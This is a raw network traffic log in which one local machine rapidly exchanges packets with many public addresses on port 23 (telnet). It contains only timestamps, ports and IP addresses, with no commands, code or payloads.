Jun 1, 2024 18:15:53.280527115 CEST	50874	23	192.168.2.23	74.190.54.123
Jun 1, 2024 18:15:53.280527115 CEST	58478	23	192.168.2.23	150.10.234.232
Jun 1, 2024 18:15:53.280628920 CEST	23	60634	88.91.246.130	192.168.2.23
Jun 1, 2024 18:15:53.280669928 CEST	23	57094	91.245.155.191	192.168.2.23
Jun 1, 2024 18:15:53.280679941 CEST	23	50502	212.41.104.134	192.168.2.23
Jun 1, 2024 18:15:53.280683041 CEST	60634	23	192.168.2.23	88.91.246.130
Jun 1, 2024 18:15:53.280689001 CEST	23	57242	91.245.155.191	192.168.2.23
Jun 1, 2024 18:15:53.280698061 CEST	23	48978	108.155.26.174	192.168.2.23
Jun 1, 2024 18:15:53.280716896 CEST	23	54524	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.280716896 CEST	57242	23	192.168.2.23	91.245.155.191
Jun 1, 2024 18:15:53.280723095 CEST	50502	23	192.168.2.23	212.41.104.134
Jun 1, 2024 18:15:53.280725956 CEST	23	38532	44.119.26.186	192.168.2.23
Jun 1, 2024 18:15:53.280735016 CEST	23	54670	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.280744076 CEST	23	45822	82.49.219.9	192.168.2.23
Jun 1, 2024 18:15:53.280746937 CEST	50626	23	192.168.2.23	212.41.104.134
Jun 1, 2024 18:15:53.280755043 CEST	23	52096	85.65.84.38	192.168.2.23
Jun 1, 2024 18:15:53.280766010 CEST	54670	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.280793905 CEST	38656	23	192.168.2.23	44.119.26.186
Jun 1, 2024 18:15:53.280828953 CEST	52096	23	192.168.2.23	85.65.84.38
Jun 1, 2024 18:15:53.280831099 CEST	23	58518	212.78.208.187	192.168.2.23
Jun 1, 2024 18:15:53.280843019 CEST	38532	23	192.168.2.23	44.119.26.186
Jun 1, 2024 18:15:53.280843019 CEST	52220	23	192.168.2.23	85.65.84.38
Jun 1, 2024 18:15:53.280874968 CEST	58518	23	192.168.2.23	212.78.208.187
Jun 1, 2024 18:15:53.280886889 CEST	58642	23	192.168.2.23	212.78.208.187
Jun 1, 2024 18:15:53.280962944 CEST	23	52790	126.48.142.44	192.168.2.23
Jun 1, 2024 18:15:53.280981064 CEST	23	58102	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.280989885 CEST	23	52934	126.48.142.44	192.168.2.23
Jun 1, 2024 18:15:53.280999899 CEST	23	50928	150.219.141.42	192.168.2.23
Jun 1, 2024 18:15:53.281009912 CEST	23	51070	150.219.141.42	192.168.2.23
Jun 1, 2024 18:15:53.281016111 CEST	52934	23	192.168.2.23	126.48.142.44
Jun 1, 2024 18:15:53.281018972 CEST	23	35390	207.189.117.87	192.168.2.23
Jun 1, 2024 18:15:53.281039000 CEST	58102	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.281049967 CEST	51070	23	192.168.2.23	150.219.141.42
Jun 1, 2024 18:15:53.281054974 CEST	58226	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.281089067 CEST	23	36882	65.204.172.161	192.168.2.23
Jun 1, 2024 18:15:53.281099081 CEST	35514	23	192.168.2.23	207.189.117.87
Jun 1, 2024 18:15:53.281099081 CEST	23	37022	65.204.172.161	192.168.2.23
Jun 1, 2024 18:15:53.281105995 CEST	35390	23	192.168.2.23	207.189.117.87
Jun 1, 2024 18:15:53.281110048 CEST	23	34862	101.103.92.81	192.168.2.23
Jun 1, 2024 18:15:53.281122923 CEST	37022	23	192.168.2.23	65.204.172.161
Jun 1, 2024 18:15:53.281153917 CEST	34862	23	192.168.2.23	101.103.92.81
Jun 1, 2024 18:15:53.281168938 CEST	34984	23	192.168.2.23	101.103.92.81
Jun 1, 2024 18:15:53.281358957 CEST	23	37552	41.66.20.111	192.168.2.23
Jun 1, 2024 18:15:53.281368017 CEST	23	37692	41.66.20.111	192.168.2.23
Jun 1, 2024 18:15:53.281397104 CEST	37692	23	192.168.2.23	41.66.20.111
Jun 1, 2024 18:15:53.281467915 CEST	23	33800	42.82.24.91	192.168.2.23
Jun 1, 2024 18:15:53.281477928 CEST	23	42400	61.189.238.125	192.168.2.23
Jun 1, 2024 18:15:53.281666040 CEST	23	42540	61.189.238.125	192.168.2.23
Jun 1, 2024 18:15:53.281702042 CEST	42540	23	192.168.2.23	61.189.238.125
Jun 1, 2024 18:15:53.281725883 CEST	23	51848	85.63.105.242	192.168.2.23
Jun 1, 2024 18:15:53.281795025 CEST	23	51988	85.63.105.242	192.168.2.23
Jun 1, 2024 18:15:53.281831026 CEST	51988	23	192.168.2.23	85.63.105.242
Jun 1, 2024 18:15:53.281858921 CEST	23	55002	64.64.201.126	192.168.2.23
Jun 1, 2024 18:15:53.281868935 CEST	23	55142	64.64.201.126	192.168.2.23
Jun 1, 2024 18:15:53.281900883 CEST	55142	23	192.168.2.23	64.64.201.126
Jun 1, 2024 18:15:53.281977892 CEST	23	43476	119.20.37.113	192.168.2.23
Jun 1, 2024 18:15:53.281989098 CEST	23	43336	119.20.37.113	192.168.2.23
Jun 1, 2024 18:15:53.281997919 CEST	23	54078	71.141.166.11	192.168.2.23
Jun 1, 2024 18:15:53.282020092 CEST	43476	23	192.168.2.23	119.20.37.113
Jun 1, 2024 18:15:53.282143116 CEST	23	54218	71.141.166.11	192.168.2.23
Jun 1, 2024 18:15:53.282151937 CEST	23	60184	126.83.226.0	192.168.2.23
Jun 1, 2024 18:15:53.282176971 CEST	54218	23	192.168.2.23	71.141.166.11
Jun 1, 2024 18:15:53.282295942 CEST	23	40294	43.50.166.227	192.168.2.23
Jun 1, 2024 18:15:53.282305956 CEST	23	40430	43.50.166.227	192.168.2.23
Jun 1, 2024 18:15:53.282337904 CEST	40430	23	192.168.2.23	43.50.166.227
Jun 1, 2024 18:15:53.282404900 CEST	23	60816	57.1.75.18	192.168.2.23
Jun 1, 2024 18:15:53.282432079 CEST	23	60952	57.1.75.18	192.168.2.23
Jun 1, 2024 18:15:53.282454014 CEST	23	43294	211.71.207.56	192.168.2.23
Jun 1, 2024 18:15:53.282483101 CEST	60952	23	192.168.2.23	57.1.75.18
Jun 1, 2024 18:15:53.282525063 CEST	23	43430	211.71.207.56	192.168.2.23
Jun 1, 2024 18:15:53.282536030 CEST	23	54004	148.117.169.218	192.168.2.23
Jun 1, 2024 18:15:53.282754898 CEST	23	54138	148.117.169.218	192.168.2.23
Jun 1, 2024 18:15:53.282768011 CEST	43430	23	192.168.2.23	211.71.207.56
Jun 1, 2024 18:15:53.282800913 CEST	54138	23	192.168.2.23	148.117.169.218
Jun 1, 2024 18:15:53.282847881 CEST	23	35436	60.100.41.110	192.168.2.23
Jun 1, 2024 18:15:53.282856941 CEST	23	35570	60.100.41.110	192.168.2.23
Jun 1, 2024 18:15:53.282893896 CEST	35570	23	192.168.2.23	60.100.41.110
Jun 1, 2024 18:15:53.282957077 CEST	23	45402	197.144.199.60	192.168.2.23
Jun 1, 2024 18:15:53.283013105 CEST	23	59744	210.154.194.130	192.168.2.23
Jun 1, 2024 18:15:53.283099890 CEST	23	59878	210.154.194.130	192.168.2.23
Jun 1, 2024 18:15:53.283134937 CEST	59878	23	192.168.2.23	210.154.194.130
Jun 1, 2024 18:15:53.283140898 CEST	23	59866	159.100.13.109	192.168.2.23
Jun 1, 2024 18:15:53.283340931 CEST	23	59998	159.100.13.109	192.168.2.23
Jun 1, 2024 18:15:53.283370972 CEST	23	35428	2.132.81.74	192.168.2.23
Jun 1, 2024 18:15:53.283376932 CEST	59998	23	192.168.2.23	159.100.13.109
Jun 1, 2024 18:15:53.283380032 CEST	23	35560	2.132.81.74	192.168.2.23
Jun 1, 2024 18:15:53.283416033 CEST	35560	23	192.168.2.23	2.132.81.74
Jun 1, 2024 18:15:53.283435106 CEST	23	58032	18.19.48.185	192.168.2.23
Jun 1, 2024 18:15:53.283546925 CEST	23	58164	18.19.48.185	192.168.2.23
Jun 1, 2024 18:15:53.283581972 CEST	58164	23	192.168.2.23	18.19.48.185
Jun 1, 2024 18:15:53.283911943 CEST	23	34646	198.118.127.110	192.168.2.23
Jun 1, 2024 18:15:53.284245968 CEST	23	40752	1.12.235.252	192.168.2.23
Jun 1, 2024 18:15:53.284255028 CEST	23	47060	169.237.222.240	192.168.2.23
Jun 1, 2024 18:15:53.284264088 CEST	23	40884	1.12.235.252	192.168.2.23
Jun 1, 2024 18:15:53.284275055 CEST	23	52536	35.17.185.149	192.168.2.23
Jun 1, 2024 18:15:53.284284115 CEST	23	52668	35.17.185.149	192.168.2.23
Jun 1, 2024 18:15:53.284292936 CEST	23	52176	186.185.212.232	192.168.2.23
Jun 1, 2024 18:15:53.284293890 CEST	40884	23	192.168.2.23	1.12.235.252
Jun 1, 2024 18:15:53.284301996 CEST	23	47696	80.181.152.249	192.168.2.23
Jun 1, 2024 18:15:53.284312963 CEST	52668	23	192.168.2.23	35.17.185.149
Jun 1, 2024 18:15:53.284327030 CEST	47060	23	192.168.2.23	169.237.222.240
Jun 1, 2024 18:15:53.284673929 CEST	23	42704	67.220.156.180	192.168.2.23
Jun 1, 2024 18:15:53.284682989 CEST	23	42836	67.220.156.180	192.168.2.23
Jun 1, 2024 18:15:53.284687042 CEST	47182	23	192.168.2.23	169.237.222.240
Jun 1, 2024 18:15:53.284694910 CEST	23	44078	67.109.44.47	192.168.2.23
Jun 1, 2024 18:15:53.284703970 CEST	23	44210	67.109.44.47	192.168.2.23
Jun 1, 2024 18:15:53.284713030 CEST	23	58610	75.205.15.224	192.168.2.23
Jun 1, 2024 18:15:53.284717083 CEST	42836	23	192.168.2.23	67.220.156.180
Jun 1, 2024 18:15:53.284720898 CEST	23	54508	77.239.54.162	192.168.2.23
Jun 1, 2024 18:15:53.284729958 CEST	23	54640	77.239.54.162	192.168.2.23
Jun 1, 2024 18:15:53.284730911 CEST	44210	23	192.168.2.23	67.109.44.47
Jun 1, 2024 18:15:53.284761906 CEST	54640	23	192.168.2.23	77.239.54.162
Jun 1, 2024 18:15:53.284900904 CEST	23	49562	153.62.202.152	192.168.2.23
Jun 1, 2024 18:15:53.284957886 CEST	23	37844	2.165.122.239	192.168.2.23
Jun 1, 2024 18:15:53.284972906 CEST	23	49690	153.62.202.152	192.168.2.23
Jun 1, 2024 18:15:53.284981012 CEST	23	54228	193.15.169.50	192.168.2.23
Jun 1, 2024 18:15:53.284990072 CEST	23	54870	121.212.180.108	192.168.2.23
Jun 1, 2024 18:15:53.284992933 CEST	23	33460	164.144.164.22	192.168.2.23
Jun 1, 2024 18:15:53.285003901 CEST	49690	23	192.168.2.23	153.62.202.152
Jun 1, 2024 18:15:53.285012960 CEST	23	54996	121.212.180.108	192.168.2.23
Jun 1, 2024 18:15:53.285039902 CEST	37844	23	192.168.2.23	2.165.122.239
Jun 1, 2024 18:15:53.285043001 CEST	54996	23	192.168.2.23	121.212.180.108
Jun 1, 2024 18:15:53.285062075 CEST	37964	23	192.168.2.23	2.165.122.239
Jun 1, 2024 18:15:53.285068989 CEST	33460	23	192.168.2.23	164.144.164.22
Jun 1, 2024 18:15:53.285079956 CEST	23	49396	111.80.31.23	192.168.2.23
Jun 1, 2024 18:15:53.285085917 CEST	33578	23	192.168.2.23	164.144.164.22
Jun 1, 2024 18:15:53.285106897 CEST	23	39924	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.285115957 CEST	23	40050	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.285131931 CEST	23	41488	192.57.0.134	192.168.2.23
Jun 1, 2024 18:15:53.285140991 CEST	23	41426	204.46.89.189	192.168.2.23
Jun 1, 2024 18:15:53.285144091 CEST	40050	23	192.168.2.23	59.197.105.179
Jun 1, 2024 18:15:53.285156012 CEST	49396	23	192.168.2.23	111.80.31.23
Jun 1, 2024 18:15:53.285173893 CEST	49518	23	192.168.2.23	111.80.31.23
Jun 1, 2024 18:15:53.285213947 CEST	41426	23	192.168.2.23	204.46.89.189
Jun 1, 2024 18:15:53.285218000 CEST	41546	23	192.168.2.23	204.46.89.189
Jun 1, 2024 18:15:53.285239935 CEST	23	44796	94.35.2.45	192.168.2.23
Jun 1, 2024 18:15:53.285267115 CEST	23	36474	135.113.1.250	192.168.2.23
Jun 1, 2024 18:15:53.285275936 CEST	23	44920	94.35.2.45	192.168.2.23
Jun 1, 2024 18:15:53.285304070 CEST	44920	23	192.168.2.23	94.35.2.45
Jun 1, 2024 18:15:53.285329103 CEST	36474	23	192.168.2.23	135.113.1.250
Jun 1, 2024 18:15:53.285341024 CEST	36590	23	192.168.2.23	135.113.1.250
Jun 1, 2024 18:15:53.285378933 CEST	23	33198	35.131.211.123	192.168.2.23
Jun 1, 2024 18:15:53.285387039 CEST	23	50746	74.190.54.123	192.168.2.23
Jun 1, 2024 18:15:53.285396099 CEST	23	40140	176.167.75.84	192.168.2.23
Jun 1, 2024 18:15:53.285406113 CEST	23	50874	74.190.54.123	192.168.2.23
Jun 1, 2024 18:15:53.285429001 CEST	23	58478	150.10.234.232	192.168.2.23
Jun 1, 2024 18:15:53.285434961 CEST	50874	23	192.168.2.23	74.190.54.123
Jun 1, 2024 18:15:53.285448074 CEST	33198	23	192.168.2.23	35.131.211.123
Jun 1, 2024 18:15:53.285454035 CEST	33318	23	192.168.2.23	35.131.211.123
Jun 1, 2024 18:15:53.285463095 CEST	23	51856	20.102.146.245	192.168.2.23
Jun 1, 2024 18:15:53.285494089 CEST	40140	23	192.168.2.23	176.167.75.84
Jun 1, 2024 18:15:53.285497904 CEST	40258	23	192.168.2.23	176.167.75.84
Jun 1, 2024 18:15:53.285530090 CEST	51856	23	192.168.2.23	20.102.146.245
Jun 1, 2024 18:15:53.285547018 CEST	51972	23	192.168.2.23	20.102.146.245
Jun 1, 2024 18:15:53.285650969 CEST	23	50502	212.41.104.134	192.168.2.23
Jun 1, 2024 18:15:53.285660982 CEST	23	50626	212.41.104.134	192.168.2.23
Jun 1, 2024 18:15:53.285670042 CEST	23	60634	88.91.246.130	192.168.2.23
Jun 1, 2024 18:15:53.285680056 CEST	23	38656	44.119.26.186	192.168.2.23
Jun 1, 2024 18:15:53.285692930 CEST	50626	23	192.168.2.23	212.41.104.134
Jun 1, 2024 18:15:53.285697937 CEST	23	52096	85.65.84.38	192.168.2.23
Jun 1, 2024 18:15:53.285706043 CEST	38656	23	192.168.2.23	44.119.26.186
Jun 1, 2024 18:15:53.285707951 CEST	23	57242	91.245.155.191	192.168.2.23
Jun 1, 2024 18:15:53.285743952 CEST	60634	23	192.168.2.23	88.91.246.130
Jun 1, 2024 18:15:53.285751104 CEST	60754	23	192.168.2.23	88.91.246.130
Jun 1, 2024 18:15:53.285784006 CEST	57242	23	192.168.2.23	91.245.155.191
Jun 1, 2024 18:15:53.285797119 CEST	57360	23	192.168.2.23	91.245.155.191
Jun 1, 2024 18:15:53.285912991 CEST	23	38532	44.119.26.186	192.168.2.23
Jun 1, 2024 18:15:53.285964012 CEST	23	52220	85.65.84.38	192.168.2.23
Jun 1, 2024 18:15:53.285973072 CEST	23	58518	212.78.208.187	192.168.2.23
Jun 1, 2024 18:15:53.285983086 CEST	23	54670	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.285999060 CEST	23	58642	212.78.208.187	192.168.2.23
Jun 1, 2024 18:15:53.286006927 CEST	23	58102	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.286010981 CEST	52220	23	192.168.2.23	85.65.84.38
Jun 1, 2024 18:15:53.286029100 CEST	58642	23	192.168.2.23	212.78.208.187
Jun 1, 2024 18:15:53.286046028 CEST	54670	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.286057949 CEST	54786	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.286170959 CEST	23	58226	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.286180019 CEST	23	35514	207.189.117.87	192.168.2.23
Jun 1, 2024 18:15:53.286187887 CEST	23	35390	207.189.117.87	192.168.2.23
Jun 1, 2024 18:15:53.286199093 CEST	23	34862	101.103.92.81	192.168.2.23
Jun 1, 2024 18:15:53.286206961 CEST	23	34984	101.103.92.81	192.168.2.23
Jun 1, 2024 18:15:53.286206961 CEST	58226	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.286207914 CEST	35514	23	192.168.2.23	207.189.117.87
Jun 1, 2024 18:15:53.286235094 CEST	34984	23	192.168.2.23	101.103.92.81
Jun 1, 2024 18:15:53.286252975 CEST	23	52934	126.48.142.44	192.168.2.23
Jun 1, 2024 18:15:53.286303997 CEST	52934	23	192.168.2.23	126.48.142.44
Jun 1, 2024 18:15:53.286329031 CEST	53048	23	192.168.2.23	126.48.142.44
Jun 1, 2024 18:15:53.286386967 CEST	23	51070	150.219.141.42	192.168.2.23
Jun 1, 2024 18:15:53.286456108 CEST	51184	23	192.168.2.23	150.219.141.42
Jun 1, 2024 18:15:53.286458969 CEST	51070	23	192.168.2.23	150.219.141.42
Jun 1, 2024 18:15:53.286479950 CEST	23	37022	65.204.172.161	192.168.2.23
Jun 1, 2024 18:15:53.286577940 CEST	23	37692	41.66.20.111	192.168.2.23
Jun 1, 2024 18:15:53.286751032 CEST	23	42540	61.189.238.125	192.168.2.23
Jun 1, 2024 18:15:53.286798954 CEST	37022	23	192.168.2.23	65.204.172.161
Jun 1, 2024 18:15:53.286813021 CEST	37136	23	192.168.2.23	65.204.172.161
Jun 1, 2024 18:15:53.286820889 CEST	37692	23	192.168.2.23	41.66.20.111
Jun 1, 2024 18:15:53.286834955 CEST	37806	23	192.168.2.23	41.66.20.111
Jun 1, 2024 18:15:53.286838055 CEST	42540	23	192.168.2.23	61.189.238.125
Jun 1, 2024 18:15:53.286851883 CEST	42652	23	192.168.2.23	61.189.238.125
Jun 1, 2024 18:15:53.286854982 CEST	23	51988	85.63.105.242	192.168.2.23
Jun 1, 2024 18:15:53.286914110 CEST	51988	23	192.168.2.23	85.63.105.242
Jun 1, 2024 18:15:53.286926985 CEST	52100	23	192.168.2.23	85.63.105.242
Jun 1, 2024 18:15:53.286942959 CEST	23	55142	64.64.201.126	192.168.2.23
Jun 1, 2024 18:15:53.286994934 CEST	55142	23	192.168.2.23	64.64.201.126
Jun 1, 2024 18:15:53.287009001 CEST	55254	23	192.168.2.23	64.64.201.126
Jun 1, 2024 18:15:53.287023067 CEST	23	43476	119.20.37.113	192.168.2.23
Jun 1, 2024 18:15:53.287085056 CEST	43476	23	192.168.2.23	119.20.37.113
Jun 1, 2024 18:15:53.287096977 CEST	43588	23	192.168.2.23	119.20.37.113
Jun 1, 2024 18:15:53.287123919 CEST	23	54218	71.141.166.11	192.168.2.23
Jun 1, 2024 18:15:53.287173986 CEST	54218	23	192.168.2.23	71.141.166.11
Jun 1, 2024 18:15:53.287189007 CEST	54330	23	192.168.2.23	71.141.166.11
Jun 1, 2024 18:15:53.287293911 CEST	23	40430	43.50.166.227	192.168.2.23
Jun 1, 2024 18:15:53.287347078 CEST	40430	23	192.168.2.23	43.50.166.227
Jun 1, 2024 18:15:53.287363052 CEST	40540	23	192.168.2.23	43.50.166.227
Jun 1, 2024 18:15:53.287439108 CEST	23	60952	57.1.75.18	192.168.2.23
Jun 1, 2024 18:15:53.287508011 CEST	32830	23	192.168.2.23	57.1.75.18
Jun 1, 2024 18:15:53.287512064 CEST	60952	23	192.168.2.23	57.1.75.18
Jun 1, 2024 18:15:53.287657022 CEST	23	43430	211.71.207.56	192.168.2.23
Jun 1, 2024 18:15:53.287720919 CEST	23	54138	148.117.169.218	192.168.2.23
Jun 1, 2024 18:15:53.287734985 CEST	43430	23	192.168.2.23	211.71.207.56
Jun 1, 2024 18:15:53.287736893 CEST	43540	23	192.168.2.23	211.71.207.56
Jun 1, 2024 18:15:53.287786961 CEST	54248	23	192.168.2.23	148.117.169.218
Jun 1, 2024 18:15:53.287832975 CEST	23	35570	60.100.41.110	192.168.2.23
Jun 1, 2024 18:15:53.287846088 CEST	54138	23	192.168.2.23	148.117.169.218
Jun 1, 2024 18:15:53.287890911 CEST	35570	23	192.168.2.23	60.100.41.110
Jun 1, 2024 18:15:53.287906885 CEST	35680	23	192.168.2.23	60.100.41.110
Jun 1, 2024 18:15:53.288027048 CEST	23	59878	210.154.194.130	192.168.2.23
Jun 1, 2024 18:15:53.288084030 CEST	59878	23	192.168.2.23	210.154.194.130
Jun 1, 2024 18:15:53.288095951 CEST	59986	23	192.168.2.23	210.154.194.130
Jun 1, 2024 18:15:53.288419008 CEST	23	59998	159.100.13.109	192.168.2.23
Jun 1, 2024 18:15:53.288490057 CEST	59998	23	192.168.2.23	159.100.13.109
Jun 1, 2024 18:15:53.288494110 CEST	60106	23	192.168.2.23	159.100.13.109
Jun 1, 2024 18:15:53.288517952 CEST	23	35560	2.132.81.74	192.168.2.23
Jun 1, 2024 18:15:53.288575888 CEST	35560	23	192.168.2.23	2.132.81.74
Jun 1, 2024 18:15:53.288788080 CEST	23	58164	18.19.48.185	192.168.2.23
Jun 1, 2024 18:15:53.288803101 CEST	35668	23	192.168.2.23	2.132.81.74
Jun 1, 2024 18:15:53.288852930 CEST	58164	23	192.168.2.23	18.19.48.185
Jun 1, 2024 18:15:53.288868904 CEST	58272	23	192.168.2.23	18.19.48.185
Jun 1, 2024 18:15:53.289189100 CEST	23	47060	169.237.222.240	192.168.2.23
Jun 1, 2024 18:15:53.289237022 CEST	23	40884	1.12.235.252	192.168.2.23
Jun 1, 2024 18:15:53.289295912 CEST	40884	23	192.168.2.23	1.12.235.252
Jun 1, 2024 18:15:53.289309978 CEST	23	52668	35.17.185.149	192.168.2.23
Jun 1, 2024 18:15:53.289309978 CEST	40990	23	192.168.2.23	1.12.235.252
Jun 1, 2024 18:15:53.289361000 CEST	52668	23	192.168.2.23	35.17.185.149
Jun 1, 2024 18:15:53.289391041 CEST	52774	23	192.168.2.23	35.17.185.149
Jun 1, 2024 18:15:53.289477110 CEST	23	47182	169.237.222.240	192.168.2.23
Jun 1, 2024 18:15:53.289515972 CEST	47182	23	192.168.2.23	169.237.222.240
Jun 1, 2024 18:15:53.289621115 CEST	23	42836	67.220.156.180	192.168.2.23
Jun 1, 2024 18:15:53.289695978 CEST	42836	23	192.168.2.23	67.220.156.180
Jun 1, 2024 18:15:53.289710999 CEST	42938	23	192.168.2.23	67.220.156.180
Jun 1, 2024 18:15:53.289752007 CEST	23	44210	67.109.44.47	192.168.2.23
Jun 1, 2024 18:15:53.289805889 CEST	44210	23	192.168.2.23	67.109.44.47
Jun 1, 2024 18:15:53.289818048 CEST	44312	23	192.168.2.23	67.109.44.47
Jun 1, 2024 18:15:53.289827108 CEST	23	54640	77.239.54.162	192.168.2.23
Jun 1, 2024 18:15:53.289880991 CEST	54640	23	192.168.2.23	77.239.54.162
Jun 1, 2024 18:15:53.289892912 CEST	54740	23	192.168.2.23	77.239.54.162
Jun 1, 2024 18:15:53.290030956 CEST	23	37844	2.165.122.239	192.168.2.23
Jun 1, 2024 18:15:53.290040970 CEST	23	49690	153.62.202.152	192.168.2.23
Jun 1, 2024 18:15:53.290050030 CEST	23	37964	2.165.122.239	192.168.2.23
Jun 1, 2024 18:15:53.290085077 CEST	37964	23	192.168.2.23	2.165.122.239
Jun 1, 2024 18:15:53.290093899 CEST	49790	23	192.168.2.23	153.62.202.152
Jun 1, 2024 18:15:53.290184021 CEST	23	33460	164.144.164.22	192.168.2.23
Jun 1, 2024 18:15:53.290193081 CEST	23	49396	111.80.31.23	192.168.2.23
Jun 1, 2024 18:15:53.290195942 CEST	49690	23	192.168.2.23	153.62.202.152
Jun 1, 2024 18:15:53.290201902 CEST	23	49518	111.80.31.23	192.168.2.23
Jun 1, 2024 18:15:53.290214062 CEST	23	54996	121.212.180.108	192.168.2.23
Jun 1, 2024 18:15:53.290222883 CEST	23	41426	204.46.89.189	192.168.2.23
Jun 1, 2024 18:15:53.290235043 CEST	49518	23	192.168.2.23	111.80.31.23
Jun 1, 2024 18:15:53.290272951 CEST	54996	23	192.168.2.23	121.212.180.108
Jun 1, 2024 18:15:53.290286064 CEST	55094	23	192.168.2.23	121.212.180.108
Jun 1, 2024 18:15:53.290304899 CEST	23	40050	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.290323019 CEST	23	36474	135.113.1.250	192.168.2.23
Jun 1, 2024 18:15:53.290358067 CEST	40050	23	192.168.2.23	59.197.105.179
Jun 1, 2024 18:15:53.290384054 CEST	40148	23	192.168.2.23	59.197.105.179
Jun 1, 2024 18:15:53.290568113 CEST	23	36590	135.113.1.250	192.168.2.23
Jun 1, 2024 18:15:53.290605068 CEST	36590	23	192.168.2.23	135.113.1.250
Jun 1, 2024 18:15:53.290662050 CEST	23	33198	35.131.211.123	192.168.2.23
Jun 1, 2024 18:15:53.290672064 CEST	23	33318	35.131.211.123	192.168.2.23
Jun 1, 2024 18:15:53.290680885 CEST	23	40140	176.167.75.84	192.168.2.23
Jun 1, 2024 18:15:53.290690899 CEST	23	44920	94.35.2.45	192.168.2.23
Jun 1, 2024 18:15:53.290699005 CEST	33318	23	192.168.2.23	35.131.211.123
Jun 1, 2024 18:15:53.290699959 CEST	23	40258	176.167.75.84	192.168.2.23
Jun 1, 2024 18:15:53.290729046 CEST	40258	23	192.168.2.23	176.167.75.84
Jun 1, 2024 18:15:53.290741920 CEST	23	51856	20.102.146.245	192.168.2.23
Jun 1, 2024 18:15:53.290747881 CEST	44920	23	192.168.2.23	94.35.2.45
Jun 1, 2024 18:15:53.290750027 CEST	23	50874	74.190.54.123	192.168.2.23
Jun 1, 2024 18:15:53.290759087 CEST	45016	23	192.168.2.23	94.35.2.45
Jun 1, 2024 18:15:53.290760994 CEST	23	60634	88.91.246.130	192.168.2.23
Jun 1, 2024 18:15:53.290771961 CEST	23	60754	88.91.246.130	192.168.2.23
Jun 1, 2024 18:15:53.290781975 CEST	23	50626	212.41.104.134	192.168.2.23
Jun 1, 2024 18:15:53.290802002 CEST	60754	23	192.168.2.23	88.91.246.130
Jun 1, 2024 18:15:53.290821075 CEST	23	38656	44.119.26.186	192.168.2.23
Jun 1, 2024 18:15:53.290826082 CEST	50874	23	192.168.2.23	74.190.54.123
Jun 1, 2024 18:15:53.290836096 CEST	50970	23	192.168.2.23	74.190.54.123
Jun 1, 2024 18:15:53.290839911 CEST	50626	23	192.168.2.23	212.41.104.134
Jun 1, 2024 18:15:53.290841103 CEST	23	57242	91.245.155.191	192.168.2.23
Jun 1, 2024 18:15:53.290859938 CEST	50720	23	192.168.2.23	212.41.104.134
Jun 1, 2024 18:15:53.290893078 CEST	38656	23	192.168.2.23	44.119.26.186
Jun 1, 2024 18:15:53.290909052 CEST	38750	23	192.168.2.23	44.119.26.186
Jun 1, 2024 18:15:53.290961027 CEST	23	54670	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.290971041 CEST	23	54786	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.290982008 CEST	23	52220	85.65.84.38	192.168.2.23
Jun 1, 2024 18:15:53.290999889 CEST	54786	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.291040897 CEST	52314	23	192.168.2.23	85.65.84.38
Jun 1, 2024 18:15:53.291102886 CEST	23	58642	212.78.208.187	192.168.2.23
Jun 1, 2024 18:15:53.291115046 CEST	52220	23	192.168.2.23	85.65.84.38
Jun 1, 2024 18:15:53.291137934 CEST	23	52934	126.48.142.44	192.168.2.23
Jun 1, 2024 18:15:53.291158915 CEST	58642	23	192.168.2.23	212.78.208.187
Jun 1, 2024 18:15:53.291172028 CEST	58736	23	192.168.2.23	212.78.208.187
Jun 1, 2024 18:15:53.291184902 CEST	23	53048	126.48.142.44	192.168.2.23
Jun 1, 2024 18:15:53.291193962 CEST	23	58226	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.291234016 CEST	53048	23	192.168.2.23	126.48.142.44
Jun 1, 2024 18:15:53.291240931 CEST	58226	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.291249037 CEST	23	51184	150.219.141.42	192.168.2.23
Jun 1, 2024 18:15:53.291251898 CEST	58320	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.291275024 CEST	23	51070	150.219.141.42	192.168.2.23
Jun 1, 2024 18:15:53.291276932 CEST	51184	23	192.168.2.23	150.219.141.42
Jun 1, 2024 18:15:53.291841030 CEST	23	37022	65.204.172.161	192.168.2.23
Jun 1, 2024 18:15:53.291850090 CEST	23	37136	65.204.172.161	192.168.2.23
Jun 1, 2024 18:15:53.291861057 CEST	23	37692	41.66.20.111	192.168.2.23
Jun 1, 2024 18:15:53.291870117 CEST	23	42540	61.189.238.125	192.168.2.23
Jun 1, 2024 18:15:53.291878939 CEST	37136	23	192.168.2.23	65.204.172.161
Jun 1, 2024 18:15:53.291879892 CEST	23	42652	61.189.238.125	192.168.2.23
Jun 1, 2024 18:15:53.291888952 CEST	23	51988	85.63.105.242	192.168.2.23
Jun 1, 2024 18:15:53.291893005 CEST	23	52100	85.63.105.242	192.168.2.23
Jun 1, 2024 18:15:53.291915894 CEST	42652	23	192.168.2.23	61.189.238.125
Jun 1, 2024 18:15:53.291915894 CEST	52100	23	192.168.2.23	85.63.105.242
Jun 1, 2024 18:15:53.291990995 CEST	23	55142	64.64.201.126	192.168.2.23
Jun 1, 2024 18:15:53.292001009 CEST	23	55254	64.64.201.126	192.168.2.23
Jun 1, 2024 18:15:53.292010069 CEST	23	43476	119.20.37.113	192.168.2.23
Jun 1, 2024 18:15:53.292018890 CEST	23	43588	119.20.37.113	192.168.2.23
Jun 1, 2024 18:15:53.292027950 CEST	55254	23	192.168.2.23	64.64.201.126
Jun 1, 2024 18:15:53.292030096 CEST	23	54218	71.141.166.11	192.168.2.23
